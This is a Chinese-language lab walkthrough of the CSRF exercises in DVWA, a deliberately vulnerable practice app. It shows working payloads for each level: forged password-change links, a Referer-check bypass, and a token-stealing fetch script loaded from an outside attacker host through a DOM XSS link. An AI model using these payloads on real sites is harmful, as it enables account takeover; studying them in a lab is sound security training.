# DVWA Cross Site Request Forgery ###### tags: `DVWA` CSRF 特性是自己殺自己 網站通常你想改密碼,會請求發送一個數據包給後端。 攻擊者架一個頁面,功能就是發送此數據包。 1.假設browser登入過 FB 後台有了 session。 browser送出請求會夾帶session 2.你點了惡意網站,你就相當於用你的登入身分 (session) 發出了此情求。 <br/><br/> # low code: * get 請求 * 只要 pass_new = pass_conf 就入庫了,沒有判斷。 ```php= $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; ``` bp抓包: ```http= GET /vulnerabilities/csrf/?password_new=1111111111111&password_conf=3333333333333&Change=Change HTTP/1.1 Host: www.dvwa.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://www.dvwa.com/vulnerabilities/csrf/ Cookie: PHPSESSID=qm98fvgpvaostapd4eekcg3oco; security=low Upgrade-Insecure-Requests: 1 ``` 拼一下get url ``` http://www.dvwa.com/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change ``` * 攻擊者可以在外網搭一個web 這招我看別人用的,但失敗。他是用img 標籤去請求。 圖片發出url 這招在dvwa 1.1 的環境無法成功,但這招可以用在簡單的網站上例無需登入的。 ```htmlmixed= <!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change"> </body> </html> ``` js直接跳轉 ```javascript= <script type="text/javascript"> window.location.assign("http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change"); </script> ``` 或是直接發link 給受害者只要是那個登入過的瀏覽器去請求的他只要跳轉就可以了。 <br/><br/> # Medium * stripos 字串1有沒有找到字串2 判斷refer 找不找的到 www.dvwa.com 注意: www.dvwa.com 是我自己創建的網域 ```php= if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) ``` ```http= GET /vulnerabilities/csrf/?password_new=111111111111&password_conf=22222222222&Change=Change HTTP/1.1 Host: www.dvwa.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change Cookie: PHPSESSID=qm98fvgpvaostapd4eekcg3oco; security=medium Upgrade-Insecure-Requests: 1 ``` 假設受害者在 www.hack.com 跳轉了 http://www.dvwa.com/vulnerabilities/csrf/ refer = www.hack.com 所以過不了。 * 解法: 攻擊者只要製造出一個檔名是有 www.dvwa.com 字串的就可以。 <br/> 以下我用了JS 常用的跳轉都失敗,原因是這種refer 都是 www.k.com 並不是完整url http://www.k.com/www.dvwa.com.html ```htmlembedded= <!DOCTYPE html> <html> <head> <title></title> </head> <body> </body> <script type="text/javascript"> /* window.location.assign("http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change"); */ /* window.location.href = "http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change"; */ </script> </html> ``` <br/><br/> 改成 a tag 然後 JS 觸發點擊 * a tag 加上referrerpolicy="unsafe-url" 可以refer 完整url 可以自動跳轉並且成功 http://www.k.com/www.dvwa.com.html ```htmlembedded= <!DOCTYPE html> <html> <head> <title></title> </head> <body> <a id="demo" href="http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change" referrerpolicy="unsafe-url">click me</a> </body> <script type="text/javascript"> function run(){ document.getElementById("demo").click(); } run(); </script> </html> ``` 小疑問: ``` document.getElementById("demo").click(); 為啥一定要包在 run() 裡面才能成功, 該不會是 callback 之類的.... ``` <br/><br/> # High code: * 加上了 token ```php= checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); ``` 也就是說,前面的攻擊者只需要發送請求。但這次還須要猜測出 token。 幾本上攻擊者因為是沒登入狀態下,所以拿不到登入狀態下的token,所以可以防禦。 但這題需要使用 xss + csrf 受害者網站上具有xss * 我們這題使用 xss dom level: high * 攻擊者在外網架設一個惡意腳本: xss 執行抓取token -> xss 發出更改密碼請求 <br/><br/> 知道了以上步驟後,我們先在dvwa 目錄下本地測試一個檔案, * 測試能不能透過這支腳本達到csrf的效果。 實測可以fetch 請求達到 csrf 改變密碼為777 http://www.dvwa.com/csrf_high.html ```javascript= <!DOCTYPE html> <html> <head> <title></title> </head> <body> <h1>hack</h1> </body> <script type="text/javascript"> async function getToken(url) { let data = await fetch(url); // data 轉為 text data = await data.text(); //創造dom 物件 const parser = new DOMParser(); //把resoonse資料轉成dom const htmlDoc = parser.parseFromString(data, "text/html"); //querySelector 抓取 token let token = htmlDoc.querySelector("input[name=user_token]").value; //回傳token return token; } async function csrf_send() { //拿token let url = "http://www.dvwa.com/vulnerabilities/csrf/"; let token = await getToken(url); //csrf csrf_url_Request = "http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change&user_token=" //加上token csrf_url_Request += token; //console.log(csrf_request) ; //fetch 發出請求 fetch(csrf_url_Request); } csrf_send(); </script> </html> ``` <br/><br/> 測試csrf沒問題後,把JS code拿出來放在外網 我這邊為www.k.com/hack.js ```javascript= async function getToken(url) { let data = await fetch(url); // data 轉為 text data = await data.text(); //創造dom 物件 const parser = new DOMParser(); //把resoonse資料轉成dom const htmlDoc = parser.parseFromString(data, "text/html"); //querySelector 抓取 token let token = htmlDoc.querySelector("input[name=user_token]").value; //回傳token return token; } async function csrf_send() { //拿token let url = "http://www.dvwa.com/vulnerabilities/csrf/"; let token = await getToken(url); //csrf csrf_url_Request = "http://www.dvwa.com/vulnerabilities/csrf/?password_new=777&password_conf=777&Change=Change&user_token=" //加上token csrf_url_Request += token; //console.log(csrf_request) ; //fetch 發出請求 fetch(csrf_url_Request); } csrf_send(); ``` dom xss level:high 的頁面有xss漏洞。xss載入遠端腳本。 發給受害者 ``` http://www.dvwa.com/vulnerabilities/xss_d/?default=#<script src="http://www.k.com/hack.js"</script> ``` 模擬: 受害者登入dvwa --> 後收到了來自 hacker給的link --> 點擊就會進入xss dom high 的頁面 --> 這個頁面是有xss的,所以載入了外部hack.js --> 這個hack.js 會先拿到token 在改變密碼。 <br/><br/> # Impossible code: * 多了一個 password_current 也就是目前密碼 也就是說hacker 不能在無腦偽造了,因為就算xss 拿到了token 我們也不知道當前使用者的密碼。 ```php= $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; ``` 無解。 <br/><br/><br/><br/>